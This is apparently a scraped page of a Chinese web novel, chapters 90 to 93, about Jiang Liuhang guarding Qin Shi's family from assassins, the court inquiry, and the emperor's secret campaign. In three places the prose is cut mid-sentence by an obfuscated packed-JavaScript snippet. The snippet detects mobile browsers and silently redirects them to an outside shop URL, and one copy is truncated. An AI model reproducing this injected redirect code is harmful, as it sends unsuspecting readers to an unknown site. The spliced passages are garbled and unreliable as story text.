见面招呼过后,武成把孩子推上前:“这是我儿子,叫武直。” 姜六航笑着问那孩子:“小直直,你几岁啦?” 武成和裴佑都陡然把目光定在姜六航脸上。 昔日将军见到武直,总亲切地唤他“小直直”。整个铁骨军,只有将军这样叫。一声“小直直”蓦然入耳,令她们恍如见到了故人。 “八岁了。” 姜六航无视两人目光,继续道:“和我家小元元一样大。” 武成和裴佑对视一眼,把刚才不知不觉憋着的一口气吐出来。小直直、小元元,姜指挥习惯这样叫小孩子吗? 这时,又有两个小孩前来。 姜元牵着秦学的手,先向大人行礼,然后向姜六航道:“大姑姑,我们想去御花园玩,秦大人不许秦学离开大殿。” “秦大人不许,我也没办法啊。” “大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17078290|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姑姑,你让一个御林军在花园里巡查,秦大人就放心了。” 姜六航好笑道:“你可真是会安排。” 其实御花园里本就有巡查的军士,但秦修撰还是不许儿子去,肯定是担心军士不能时时跟着,出现意外。 对着侄儿期盼的眼神,姜六航正思量着是不是以公谋私,让两个军士跟着照看他们,裴佑道:“我带他们去。” 姜六航和武成于是也跟着一起。 一群人先到秦修撰那里,和他说明。有武成、裴佑两位高手在侧,秦修撰再无什么可担心的,连声感谢。 几人到御花园,跟着孩子们转悠一会后,姜六航借口说有些累了,让武成和裴佑继续跟着孩子们,她到路边的一个亭子里坐下。 没过多久,一队军士巡逻经过。 姜六航招手把领队叫来,一看,恰是自己手下的兵。 “雷宏,永昌街的巡逻,是分给我们的吧?” “是。” 姜六航抚着膝盖,声音沉静:“你派个人去传达我的命令,严密监察永昌街纯银巷十五号宅子周遭的动静,昼夜都要有人守着。”那是她刚刚从秦学口中套来的地址。 雷宏领命,抱拳朗声道:“是。” 姜六航想了想,还是稍微解释了一下,以免属下不明所以。 “那是翰林院秦修撰的住宅,他早年在外结有仇家,这几日恐怕来找他寻仇。你们警醒些。” 雷宏一凛,声音坚定地道:“姜指挥放心,属下等一定不错眼地盯着。” 雷宏离开后,姜六航沉下眸子。 大哥只有这一个看重的亲人了,她要替他护好。 —— 宫宴散后,众人各自归家。 当天晚上,一家人坐在一起闲谈时,姜六航问出了心中的疑问。 “爹,我听说皇上擅诗文,今日宴会,那般热闹,怎不见皇上作诗?” 这话一出,房间里霎时安静下来,一股莫名的气氛弥漫。 余光里瞥见家人们暗暗交换着意味深长的眼神,姜六航只觉一股热气,从耳根升起,蔓延至整张脸。不用去摸,她也知道,那脸肯定发红了。 不过,不管是做为赤霄剑客,还是作为姜帅,她历过的大场面数不胜数,这点根本不放在眼里。她镇定地回望姜大人,等着解释。 姜子循咳了一声,问:“你怎知皇上擅诗文?” 姜六航眼也不眨地道:“御林军里有和州的老兵,听他们说的。” 姜子循站起,对姜守和姜六航道:“你们随我来。”儿子和长女在朝为官,告诉他们此事也好,却不宜让其他人知晓。 三人到书房坐下。 姜子循捧着一杯茶,出了一会神,脸上黯然,半晌才开口道:“皇上十五六岁时,被裴总督带在身边,时常在客人面前写诗作赋。” 兄妹两人安静地听着。 “九年前,皇上的母亲随着裴家车队经过府城郊外的一座山,被山匪掳上山。” 姜六航心口发紧,不抱什么希望地问:“掳上山,裴永年派兵去救了吗?” 姜子循摇头:“被掳上山的只有裴府的四个下仆,裴总督不肯大费周章去救。” 果然。 身边的兄长脸上露出不可置信的神色,姜六航却只觉在意料之中。对裴永年那样的畜生,不能有一丝期待。 “皇上带着三十几个人,冒险上山,却只抢出母亲的尸首。” 在父亲发沉的语音中,姜六航想起大哥说,他在山上不眠不休,搜寻了整整十三天,踏遍了山上许多地方,心脏蓦地一阵绞痛。 姜子循继续道:“激战中,他们杀了几个山匪,其中恰有一个是匪首的独子。三天后,那匪首率着全部山匪倾巢而出,闯到总督府报仇。总督自下山后便一直未回府,在外听闻噩耗,急急带人赶回救援,可惜裴总督和几位公子都已被害,唯有大公子与四公子当时侥幸存活。” “报应。”姜守低低地道,脸上不忍,“只是连累了府里的一些无辜之人。” 姜六航捏紧手指:“没听说皇上还有兄弟在世。” 姜子循惋叹道:“大公子本就体弱,遭此剧变,惊吓过度,不过几日,便随父兄去了。接连的打击之下,四公子也承受不住,疯了,后来少有人提及。” 顿了顿,他叹了一声,里面含着无限沉痛:“从山上下来之后,这九年间,皇上再没作过一句诗。” 心脏像被一只手狠狠揉捏,酸痛肿胀到产生要炸裂的错觉,姜六航突地站起,丢下一句“我先走了”,在父兄惊愕的目光中,落荒而逃般冲出了书房。 夜色沉重,只有脚下,丫鬟提着的灯照过来,晕开一个光圈。 高大的屋宇、树木矗立的阴影压过来,巨大而压抑,让她胸口窒闷,呼吸困难。 姜六航死死握紧拳,在这一刻,她产生一股强烈到几乎无法抑制的冲动,想要挥剑,狠狠撕裂这沉重的夜色。 她更想逆转时光,回到九年前,甚至更早,提着赤霄剑,到他的身边,为他挡住诸多磨难。 —— 这一夜,姜六航睡得很不安稳。梦中,她跟在大哥身后,随着他在黑岩山上不停的奔跑。 而在永昌街纯银巷,数十条人影趁着夜色,悄无声息地潜入一座宅子中。 91. 第 91 章 一间不是很大的房间内,只正中摆放着一张祭桌,边上两盆炭火,墙上挂了几盏壁灯,除此没有放置任何家具。祭桌上摆着鲜果、鱼肉等祭品,竖着的牌位前燃着一炷香和两根烛。 烛火摇曳的光影落在桌旁的三人脸上。 秦实和叶荷跪坐着,秦学撑不住睡过去了,横躺在他爹的腿上。 时已深夜。 秦实看向墙角的滴漏,正值丑时两刻。 他的手不自觉握紧,视线转到桌上供奉的牌位,那上面银钩铁画的七个字“衡王姜六航之位”泛着光泽。 这世所有逃过上辈子劫难的人,其因都在衡王。今天他们一家在衡王的眼皮子底下,可能得一二护佑? 就在此时,“锵!”门外,尖锐的兵器撞击声骤然响起。 秦实霍地望向紧闭的门口,眼中射出惊人的光亮,里面混杂着愤恨、颤栗、悲怆各种情绪。他把儿子轻轻挪到身旁蒲团上,随即一把抓起脚旁的剑站起,“铮”地一声抽出剑来。雪亮剑光映上他绷紧的脸,那张平素周正朴厚的脸此刻透出凛然肃杀。 门外混战的声音愈发激烈,浓重的血腥味从门缝窗隙间渗进来。 “啪!” 房门猛地被人从外一脚踹开,一个黑衣人朝他们直冲过来。 就在秦实跨前一步,欲要挡在妻子面前时,一只箭“嗖”地一声贴着他的耳朵射了过去,从下往上,狠狠地斜插到那人喉咙里。 “呃!”黑衣人前冲的势头戛然止住,难以置信地瞪圆了双眼,喉间一点猩红迅速洇开。他僵立了一瞬,手中的刀“哐当”落地,身躯轰然砸在地上。 秦实回头。 妻子仍然跪坐着,手臂保持着向上斜举的姿势。她脸色惨白如纸,嘴唇抿得死紧,在那双眼里,还残留着一丝狠厉决绝。 秦学被惊醒,迷迷糊糊地坐起来,秦实迅速俯身,捂住儿子的眼睛。 从门口又冲进来一个拿刀的大汉,左胳膊上破了一个大口子,血浸透衣裳。 他扫视房内三人一眼,脸上焦急的神色稍褪,一把拖起尸体往外走,跨过门槛时,顺脚又把门踢得关上。 秦实把剑横在胸前,警惕地注视着门窗。 下一刻,他注意到一个人影映到了纱窗上。从里面看不清那人的穿着和面容,但可以分辨出,他面向房内,朝着窗口挥起了武器,绝不是自己人。 秦实闪身到窗边,屏气凝神,举起了剑,蓄势待发。 纱窗被用刀破开,那人跃起,脚踏上窗台。 忽地,他惨叫一声,向后倒下。 秦实从洞开的窗口看去,只见大批御林军蜂拥而至。其中一人正移开对准这个方向的弓箭,刚刚就是他,射杀了即将闯入屋内的人。 御林军的到来让艰难支撑的龙家人压力骤减。 当最后一个闯入者被制服,门外打斗声停歇,秦实再一次看向滴漏。 丑时正。 他眼眶蓦地通红。 过去了! 从此之后,是新生! 秦实没有立即出房,他一手拉住妻子,一手揽着儿子,三人一同在衡王的牌位前跪下,认认真真地磕了三个头。 再抬起头时,他满面都是泪痕。 “实哥。”叶荷担忧地唤。 秦实侧身,拍拍妻子的手:“无事。” 叶荷仔细辨认他的神情后放松下来。 她确定,实哥是真的无事。那泪水里,充着的是释然、喜悦。 “爹,你怎么了?吓到了吗?”秦学仰头望着父亲,小脸上还留着一丝惊悸,却努力地安慰着父亲,“爹你别怕,坏人都被捉住了。” 秦实紧紧抱了一下儿子,声音发哑:“爹没怕,爹是高兴的。” “高兴也会哭吗?”秦学在父亲的怀里放松下来。 “当然会,太高兴就会哭。”叶荷摸着儿子的头,“那年娘生下你,你爹就哭了。”她至今记得,实哥抱着刚出生的学儿,摸着他腿上一块青色胎记,忽然间失声痛哭。那是她第一次看见丈夫哭泣。 “后来,你爹听说大坏蛋杨承被斩首,也掉了眼泪。” “爹怎么太高兴的时候就要哭呀?”秦学好奇地问,“那爹很伤心的时候哭过吗?” 哭过。 唯一的一次。 衡王葬身火海的消息传来,实哥哭得浑身颤抖,不能自已,口中不停地喃喃着:“那是信弟的大恩人啊,是我们秦家的大恩人啊。”那次是实哥哭得最厉害的一次。那天哭过之后,实哥就在家里立起了衡王的牌位,晨昏祭拜,无一日间断。 叶荷正要说话,秦实已经开口。他擦干泪水,对着儿子的眼睛,温声道:“有你娘和你陪着爹,爹怎么会伤心呢?爹每天都是高高兴兴的。” 秦学笑起来,脸上的那丝惊惧完全散去。 —— 姜六航被丫鬟从睡梦中叫醒时,天还未亮。 “大姑娘,御林军一个军士求见,人在前房等着。” 姜六航迅速从床上坐起:“什么时辰了?” 丫鬟一边给她穿衣,一边答道:“卯时正。” 姜六航心里咯噔了一下。对于冬天来说,这个时间太早了,况且还是放假期间。是有什么紧急军情? 她急忙穿好衣裳,披上一件貂皮大氅,匆忙往外走去。 丫鬟紧追着给她拂平衣角,只拂得两下,大姑娘已经出了门,径直朝前去了。 姜六航大步踏入前房内,坐在桌旁的一个军士连忙把手中的茶杯放下,站起身来,抱拳行礼道:“姜指挥,雷队长让我来报信,今天丑时两刻,一队杀手闯入秦修撰家里。” 姜六航猛然一惊。 竟然真的来了杀手! “秦修撰一家没事吧?”她急声问。 军士:“没事,秦修撰和其妻儿都没伤着半根毫毛。”正因无事,才没急着报信,打扰姜指挥睡眠。 姜六航松了口气,这才细问详情。 军士道:“潜入宅中的共有四十几个杀手,秦修撰这边请了二十一个护卫,两边都是高手。要不是我们赶去得及时,动静又闹得大,那些杀手后来见势不对撤走了,秦修撰一家只怕凶多吉少。” 姜六航只听得连连倒吸冷气。 四十几个高手,这是恨毒了,必要置之死地啊。秦修撰也下了血本,尽了全力,请了二十一个龙家人,可还是差点翻了船。 只是,这么多高手,是从哪里搜罗来的?一般的人,可真没这本事。就是……裴祥光,一下要聚齐这些高手也不易。除非他早有预谋,准备了至少一年半载。但从秦实考上状元至今,也才四个多月,莫非他还未卜先知? 不,不一定是裴祥光,不能只凭感觉,毫无证据地给人定罪。 军士离开后,姜六航往正院走去,想把这事先告知姜大人一声,到了后才知,就在她来的前一刻,姜大人被紧急召去了皇宫。 “不知出了何事。”王院长有些忧心。 “娘别担心。”姜六航安慰道,“事情已经解决,皇上叫爹去,应该只是要查明原因。” 听女儿这样说,王院长放下心。看女儿的样子,明显是知道内情,只是不方便说出来。 王院长也不追问,和女儿说起别的事。 没过一会,两个丫鬟急急忙忙地进来:“院长、大姑娘,皇宫里来了人,让大姑娘赶紧进宫。” —— 姜六航在内侍的引导下,进入殿内。 这是她第二次进入勤政殿内。天还未大亮,宽阔的殿里却只点了两三盏灯,并不足以完全驱散昏暗。想到不点灯的原因,姜六航抿紧唇,极力控制住自己的情绪。 殿里站着许多人,姜六航不动声色地打眼一扫,竟是大半朝廷重臣都来了,姜大人、裴祥光领头,分站在御桌两旁。就连这月一直请病假,昨天宫宴都没参加的谢思礼也来了,站在姜大人的下首。 而正对着御桌,站着两人,一为秦实,一为雷宏,正在向桌后的人禀报那场刺杀。 姜六航立在一旁,等他们暂歇,走上前,躬身行礼,视线下垂,定在桌案上:“见过皇上。” “平身。”沉晦的语音传来,“姜指挥,雷队长说是你令他监察秦修撰住宅,可为实?” “回皇上,是为实。” “你为何下此命令?” “臣早先听秦修撰言,高僧判言他家今年有一劫,昨日在宴上,又见他为此忧心,故而让雷队长多加注意。” 回过这句话后,好一会没听见前方发声,姜六航忍不住抬眼偷偷瞧去,不期然对上一双幽深的凤眸。她吓了一跳,赶紧垂下眼。 “退下吧。”听不出什么情绪的声音道。 姜六航不知这“退下”,是让她退到一边,还是退出殿外。但她还想看看事情的处理结果,于是悄步站到了队尾。 桌后的人没对她的举动提出什么异议,转而问道:“秦卿,你为何请了这许多高手护卫?可是结有仇家,恐他寻仇?” “臣确实有仇家。” “是谁?” 秦实嘴唇蠕动,没说出话来。 皇帝对这位表哥却很有耐心,缓和了声音道:“这仇家很可能就是此次刺杀的主使者,秦卿不必多虑,只管说出来,不论他多大的权势,朕必为你做主。” 秦实畏畏缩缩、战战兢兢地把目光投到右边队列的第一个人脸上。 众人随着他的目光看清人,除了姜六航,俱都露出惊讶之色。 “秦修撰,你这是什么意思!”裴祥光满面不可置信。 秦实没有回答,他转向前面,仿佛鼓起了莫大的勇气,颤着声道:“皇上,臣一向与人为善,就是早年在外经商,也从未有欺压哄骗。只在今年,和裴轩大人结下仇怨。” “秦实,你休得血口喷人!”裴祥光怒声喝道,“我儿怎会因这一点点不谐就不顾律法,杀伤人命?” 秦实:“我没说是裴轩大人指使的刺杀,只是皇上问我仇家,我如实回禀。”他嘴里这样说,可那畏惧的神情,任何人都能看出他不敢说出口的指控。 裴祥光被噎了个半死。 骂也不能骂,争也不能争,再和这人说下去,倒越发显得他逼迫了。 “皇上。”他转身,面向御桌,字字诚恳,“小儿自得皇上训斥后,深省己错,悔不当初,对秦修撰绝无恨意,万万不会做出指使人刺杀的事。” 姜六航听了这话,心中暗哂。 裴祥光在说假话。 他对秦实的恶意,那可是真真切切的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“给朕查个水落石出,朕要看看,是怎样的无法无天之徒,皇城脚下劫杀朝廷命官!”端坐着的人怒声道,“谢尚书,你请求外放的折子拿回去,先把这事查清楚。凡案情涉及之人,无论何等尊贵,都可传去问话。朕赐你御牌,若有人不听传令,不需你动用玄铁令,见牌如见朕。” 谢思礼躬身领命。 那人又道:“姜相,你配合冯统领,挨家挨户严查,搜寻逃走的杀手。” 裴祥光头上冷汗顺着脸颊留下,滴到金砖上。 逃走的已安排妥当,应不会出问题,但那被捉的两个活口! 他们能抵得住谢思礼的讯问吗?他实在没有信心。可在此等情形下,他不能再有任何动作。 —— 众人一起出殿,姜子循不及和女儿说话,与冯简疾步先去了。 姜六航跟随着前人的脚步,一边注意着右边三四步远的裴祥光。 裴尚书面色难看,眼神有些虚浮。 旁边的安顺侯张炎安慰他:“谢尚书慎密细谨,明镜高悬,定能查出真相,还裴尚书和裴公子清白。” 裴祥光苦笑:“我就怕这些年得罪了些人,趁此机会,胡乱攀咬。” “没有足够确凿的证据,谢尚书不会轻易定罪。”张炎声音清晰有力,充满安抚人心的力量,他拍了一下裴祥光的胳膊,“只要那两个杀手不能供认谢尚书,旁人再怎么攀咬也没用。” 姜六航注意到,在张炎的手拍上他的胳膊时,裴祥光的神色极短地顿了一瞬,接着脸色好看了些:“张侯说得是,清者自清。” “姜指挥!” 姜六航收回目光,转身往后瞧去,只见秦实快步走下殿前的台阶,到她面前,深深一揖:“多谢姜指挥救命之恩!” 姜六航扶起他:“秦修撰不必如此。那本就是我们的巡逻范围,我不过多叮嘱了一句,让他们时刻留意。” “就是这一句救了我们一家的命,不然我们一家子,定然难逃命中注定的这一劫。”秦实满面诚恳,目中满是感激,“救命之恩,结草衔环难报。姜指挥日后但有所遣,尽管吩咐。” 说着,他又郑重地行了一礼。 秦实无比确定,是眼前的人改变了他们一家的命运。 之前他考虑了无数种方案来逃脱死劫,但最后都没采用,只着力于增加自身的防守力量。只因由以前的例子,愈是挣扎,反而连累无辜人命。 上天不仁,仿佛认准了,该死的必得死,不惜牺牲命数未尽之人。 这次,就有一个龙家人被连累,眼见着活不成了。 自己家侥幸逃脱死劫,是因为姜指挥,这个和衡王一样,上辈子不存于世的人,所以才能改变此世的命数。 对面的目光热切又真挚,姜六航心中微暖,笑道:“有秦修撰这句话,我以后就不客气了。” 秦实眼中泛出笑意。姜指挥看着病弱,却是个爽利的脾气。 “那我就随时恭候姜指挥的差遣。” 两人才说得几句话,一个内侍过来,对秦实道:“秦修撰,皇上听说大人请的一个护卫受伤颇重,派了陈院使去救治,需要什么药物,若是太医院没有,可到皇宫内库去寻。” 秦实大喜,和姜六航道别,急忙往家中去了。 姜六航心中感慨了一下大哥对这位表哥的关心和周全,正要回家,忽然一声传来:“姜指挥,可否借一步说话?” 她转头,就见谢思礼面上带着些病后的苍白,紧盯着她走过来。 92. 第 92 章 姜六航随着谢思礼,在御道旁一处无人处驻足。 她心里忽上忽下,不知谢思礼特意唤住自己是为何事。上次和谢思礼一番对谈,吓掉了她半条命,惶惶不安了好几日。面对谢思礼,她就像一个做了坏事的人被迫面对官差,心慌不已。 站定后,谢思礼却没看她,目光虚虚地落在道旁几株灿黄的梅花上,瞳孔却是涣散的没有焦距。 姜六航抬眼望去,恰好看见她清瘦的侧脸,紧抿的唇瓣毫无血色。 让姜六航心惊的是,从来坚毅、强韧的谢执法,即使在被夫家赶出家门,流落街头,几乎处于绝境时,眼中依然燃着倔强火焰,此时整个人却显出一种迷茫与彷徨。 担忧瞬间压倒忐忑,姜六航脱口问道:“谢尚书病可好了?” 谢思礼转头,看着她,眼神不复上次交谈时的锐利,深处隐着一丝柔和与怀念。 “劳姜指挥挂心,已经好了。” “那你,”姜六航斟酌着语句,“可是遇到了什么难事?” 谢思礼垂下眼,半晌没答话。 是了,她在谢思礼的眼中,只是一个略微脸熟的同僚,怎会答她交浅言深的话?姜六航正这样想着,听见轻轻的声音响起。 “我毕生之志,愿天下冤屈皆可伸张,真相皆能大白。” 姜六航当然知道谢思礼的志向,自相识以来,谢思礼一直在坚定地朝着自己的目标前进。 “可有一天,若揭开真相,很可能引起天下动荡,心怀野望之人将借此掀起波澜,无数百姓将遭受战乱之苦,流离失所,甚至丧命。”谢思礼的声音微微发颤,“我该当如何?要不要让真相大白天下?” 什么?什么真相揭开会引起动荡?姜六航猛地一震,有些不确定地盯着侧边的人。 谢思礼深深地回望着她:“而且,那人本就是为了避免这种情况才掩盖真相,我……不应揭开。”她语气变得急促,“可是,不管真相为何,那始终是真相。我既已查明,又怎能坐视不理?” 她说着,眉头紧皱,神色迷惘,渐渐有些言语混乱:“我凭什么决定掩盖真相?有第一次,就有第二次,因为各种原因掩藏。我又凭什么,判断这些做法对或错?为了防止被钻空子,律法必须定下唯一标准,严格执行。任何人都不该因任何原因掩盖真相。可是,”她顿了顿,一字字艰难地从喉咙里挤出来,“我又怎能亲手递给他们作乱的把柄?只要我做不知,局面本可平稳下去……” 她知道了!她知道了!她知道了! 一个声音在姜六航脑海里尖锐地叫嚣。 怎么办? 手心里出了一层薄汗,喉咙发干,姜六航咬紧牙。 稳住! 先把眼前这关过了。 她深吸着气,强自镇定下来。 身侧的人还在喃喃低语,迷茫的神情衬着苍白的脸色,整个人仿佛摇摇欲坠,一副信念坍塌、迷失前路的样子。 原来,谢思礼病了差不多一个月,主要是心病,到现在都没好。 可姜六航当初做出死遁的决定,虽然愧疚、不舍,却是没怎么纠结的。在她的观念里,只要不危害他人,她有权决定自己的任何事。 “是那人做了杀人害命、偷盗财物这些违背律法的事吗?” 谢思礼被这一问,从思绪里回过神来,摇头道:“没有。” 姜六航再问:“是有人状告那人?” “也没有。” “那你为什么要追究那个人做的事?” 谢思礼蓦然睁大双眼,怔在原地。看她的神情,似乎一直在纠结要否揭开真相,从没从这个角度去思考。 姜六航想了想,举了一个例子:“如果一个小女孩,不喜欢她爹送给她的面膏气味,又不想她爹知晓,悄悄去店铺里换了一种,谢尚书要去她爹面前揭穿此事吗?” 谢思礼立刻反驳:“这不同。” “哪里不同?” “那人哄骗了天下人。” “她不过是不愿让人知道自己隐私,有何错?” “她还犯下了欺君之罪。” 姜六航:“……” 现代是没有这个罪名的,在古代却是要诛族的大罪。 姜六航无话可驳,朝谢思礼看去时,却见她虽说着“欺君之罪”,脸色却轻松了许多,迷茫消散,精气神明显好转。显然在她的心里,欺君之罪的严重程度不及先前面临的信念危机。 “如你所说,那人没有做下杀人害命、偷盗财物的恶事。但若真相下掩盖的是重重罪恶,揭开又会引起天下动乱,又该如何?”谢思礼思索着问。 姜六航也不知该如何。 即使现代,律法与人情有时也会产生碰撞,引发热议。 但她不想谢思礼再钻入牛角尖,把责任一个人背负在身上。 “真到了那一天,你的心会告诉你选择。”她柔声道,“但世间难有两全事,不要太苛责自己。” 谢思礼默了片刻,缓缓点头,继而她凝望着姜六航,忽然转了话题:“听说姜指挥身中瘴毒,一年才能治愈。”她的声音低沉下去,“那位……神医,可有把握?真的……能治好?” 姜六航捏紧手指,如实以告:“有六成把握能治好。” “六成……”谢思礼低声重复了一遍,嘴唇有点颤抖。 姜六航想问谢思礼怎么查出她的身份,查出了多少,但对方好像没有挑明的意思,她不由得有些迟疑。 两人并站着,一时都没说话。 “谢尚书!” 忽地声音传来,一个内侍沿着御道小跑过来,神情很是着急的样子,还没到跟前,就急声道:“皇上召见!” 谢思礼:“可知是为何事?”她才刚从殿里出来。 “京兆尹来报,被捉住的那两个刺杀秦修撰的杀手,在牢中暴毙了!” 姜六航和谢思礼两人都是大惊,谢思礼匆匆和姜六航作别,随着内侍去了。姜六航望着她的背影,很是担心。 失了活口,这案子的线索断了,查明的难度大大增加。 是谁动手灭口? 裴祥光现在被紧紧盯着,动手的可能性不大。 莫非冤枉了他,不是他派的杀手? 杀手被关押到京兆府牢房,不过短短几个时辰,还没来得及转到刑部,幕后之人竟能迅速地布置,掐住时机杀死他们,其势力和决断都非同小可。 暗中隐藏这样一个强大的敌人,实在令人不安。 —— 杀手在牢中暴毙的消息很快传到裴府。 “爹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086143|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,没事了。”裴轩满面喜色,“那两人死了,再查不到我们头上来。” 裴祥光也是大松一口气,叮嘱儿子:“你万不可再去招惹秦实。要除掉他们,以后再找机会。” “我知道。”裴轩不情不愿,声音里满是恨毒,“可恨姜恒!要不是她,这次秦实一家子怎么都逃不掉!” 裴祥光神色沉郁。 除了可惜和遗憾,他更有心痛。 从起了那个念头,他就开始暗中培养势力。他是文官,又不能引人注目,搜罗到那么多高手实在不易,这次却一下折损了将近二十个。 “爹,你说,是谁把那两人杀了?” 必定是张炎。可裴祥光看了看儿子,没把这话说出来,只摇头道:“我也不知。” 儿子性子冲动,做事少思量,不像女儿……想到女儿,裴祥光满心气闷。 那个孽女! 有她和没有一样,不肯帮家里一点忙。唯有的一次,他才露出一点点口风,就被孽女反过来大大教训了一通。 说什么不要妄想不该想的。 什么叫妄想?什么叫不该想的? 天下本就该是他们裴家的。 既然秦信无后,就该传到他们家! 那个孽女,有国公的显贵身份,又掌控军权,在军中的地位举足轻重。若是她肯相助,秦信总要多思量几分,那位子就十拿九稳了,可那孽女…… 裴祥光恨恨地止住思绪,起身出门。 裴轩:“爹,你干什么去?” “我备份礼,去秦修撰府上,给他压惊。” 裴轩一愣,嘴里咕哝着骂了一句,到底没多说什么。 裴祥光往库房走去,打算亲自挑选礼物。这趟上门,是做给人看的姿态,表明他致力于两家和解的态度。礼不可太轻,但也不可太重,让人以为他心虚。 其实最好是带着儿子去,让儿子当着众人的面,表明对秦实毫无芥蒂。可他怕儿子沉不住气,反而弄巧成拙。 —— 十二月二十五日,京中戒严,搜捕刺客,直到二十九日,才解除戒严,恢复正常秩序。 姜六航一直关注着这事。 四天的严密搜查,没找到一个刺客的踪影。 谢思礼那边也没有进展。 兴元五年元日凌晨,百官身着朝服,依品级列队于明业殿前的巨大广场上。皇帝发表新年致辞之后,在雄壮的礼乐声中,百官行三跪九叩大礼,各地献上贺表和贡礼。 之后,皇帝走上皇城城墙,与民同乐。 姜六航带着军士守卫在城墙上,俯身望着底下,万头攒动,一片热闹欢腾,人人脸上洋溢着欢乐喜悦和满足。 她抓紧了墙头。 如果不能留下,这一幕,够她回忆一生了。 初三和初四,姜六航随着王院长到两家登门做客,见过好几个或俊逸清雅,或丰神俊朗的郎君后,回过味来,再不肯随她去别家。 初八,姜六航到城外,开始训练军士。 元月中旬,宣德帝第三子在益州现身,打出复辟吴朝的旗号,兰州、顺州皆有聚众响应者,武成、裴佑各率五万兵前去三州平叛。 只有少数朝中重臣知道,圣驾隐在裴佑所率的出征军队中,悄悄出了京城。 93. 第 93 章 顺州某县城三面皆环绕高耸入云的山峰,故得名盘云县。 进盘云县只有一条道,姜六航在路口勒停马。 盘云县,这是她第二次来了。 她仰头望着耸立的山峰,眉头微皱。冯简、左、右卫将军等人护卫着皇上从她面前经过,那人神色冷肃,一手握着缰绳,一手持鞭,身体微微前倾,专注地目视前方,不曾往路边的她扫来一眼。 姜六航犹豫了一下,没往跟前去。 这次出来,随驾的名单上原本没有她的名字,是她听闻消息后,特地求见皇上,在他面前摆事实说道理:通过实训,指挥能更得心应手,军士能更好地适应指挥,不管是对她,还是对军士,都可大大提高应变能力,于三月的演武有利…… 那天她说了很多,可大哥只静默听着,始终未表态。她还以为没希望了,结果第二天就接到了让她准备随驾的通知。 这一路上,她都自觉地避着他。 除了怕泄露情绪,更因大哥对着她,眼神里总闪烁着痛楚。 是她身上那些和衡王相似的地方,让大哥忆起故人,才那样痛苦吧? 姜六航心下酸涩,忙止住思绪,催马上前,赶到沈以贵后面,低声叫道:“沈将军。” 沈以贵回头看她一眼,会意地慢下速度,与她并行,问:“怎么了?” “沈将军,你看看这山。”姜六航扬鞭指向群峰,“若是有敌来袭,我们被困在里面,就像那瓮中之鳖,进退无路。”她就曾在这里救过瓮中的鳖。 沈以贵抬头环望了一圈,道:“这地形确实险要,不过我们有三千精锐,除非敌兵上万,否则都不足为惧。若是对战,自当慎重,但现在,小裴国公在前面挡着呢,从哪里蹦出上万的敌兵?” “万一有意外……” “姜指挥多虑了,不会有意外。”沈以贵安慰道,“沿途设有岗哨,若生异变,会及时报讯,我们可以立即撤出。再说,距此不远,有一要隘,三万军士驻扎在那里,真有敌袭,一天即可赶来驰援。还有小裴国公,在另一头,距此也只有六天的路程。” 姜六航坚持道:“皇上身系天下,不当亲涉险境。沈将军能否劝谏皇上?有什么事,遣属下去办,皇上在外等候消息。” “这事皇上必是要亲自去办的。”沈以贵脸上为难。他想了想,招来一个军士,问道:“可有收到异常动静的报讯?” 军士摇头:“没有。” 姜六航提示:“附近可有大量的人群聚集?” 这次军士点头道:“有。” 沈以贵猛地一震,不由得快速地看了姜六航一眼,又急忙转头问军士:“是什么人?在哪里?” “盘云县西边相邻的九叠县,风雷帮童帮主二月初九寿辰,很多江湖人赶来为他贺寿。” 沈以贵:“七天后?” “是。” “那些人怎么就来了?” “童帮主好客,提前大摆宴席。”军士瞄着两人的脸色,补充道,“这个应该和我们无关,童帮主的请帖,元月初就发出去了。” 沈以贵脸色缓下来。 皇上出行是元月下旬才临时决定,且对外都是保密的。童帮主的寿宴,只是正好撞上了。 见姜六航仍有忧虑,沈以贵道:“我去给冯统领说一下,问问他的意思。” 姜六航看着他策马到冯简身边,说了几句话,冯简又靠近皇帝说了几句话,然后皇帝抬头望了望三面的山峦,摇头。 接着沈以贵策马跑过来,挥着手对她喊了一句:“姜指挥,皇上有令,继续前进。”喊完又跑回去了。 姜六航虽不安,但毫无异状,也不能阻止队伍前进,只得暗暗提高警惕。 —— 午时,御林军进驻盘云县。 从低矮的,斑驳陈旧处处破损的城墙就可看出,盘云县是个穷县。县城也不大,只有一条主街上行人稍多一些,显出一点热闹,其它地方都很冷清。 冯简安排一部分军士守着城墙和城门,其余人护着皇帝进了县衙。 县令诚惶诚恐地接着他们,躬身把他们引入大堂。 他只知这是上边来的贵人,却不知贵人们的具体身份。可只看那军士的气势,比他见过的悬刃隘的军士更威武,身上的装备也更精良。尤其是那中间的一人,只是淡淡的一瞥,就似有无尽的威势压过来,让人不敢抬头。 “你可见过这个人?”冯简取出一张卷着的画幅,两指捏着上端,“唰”地一下展开,竖在县令面前。 县令凑上前,仔细端详了半晌,小心翼翼地回道:“大人,下官从未见过此人。” “这人在你们盘云县,把他找出来。” “是是是,下官遵命!”县令连忙应下。 冯简:“这人应是两天前进城的,你把那天看守城门的兵士叫来,问问他们可有印象?另外,你选一批熟悉县城的人,协助我们搜寻这人。” 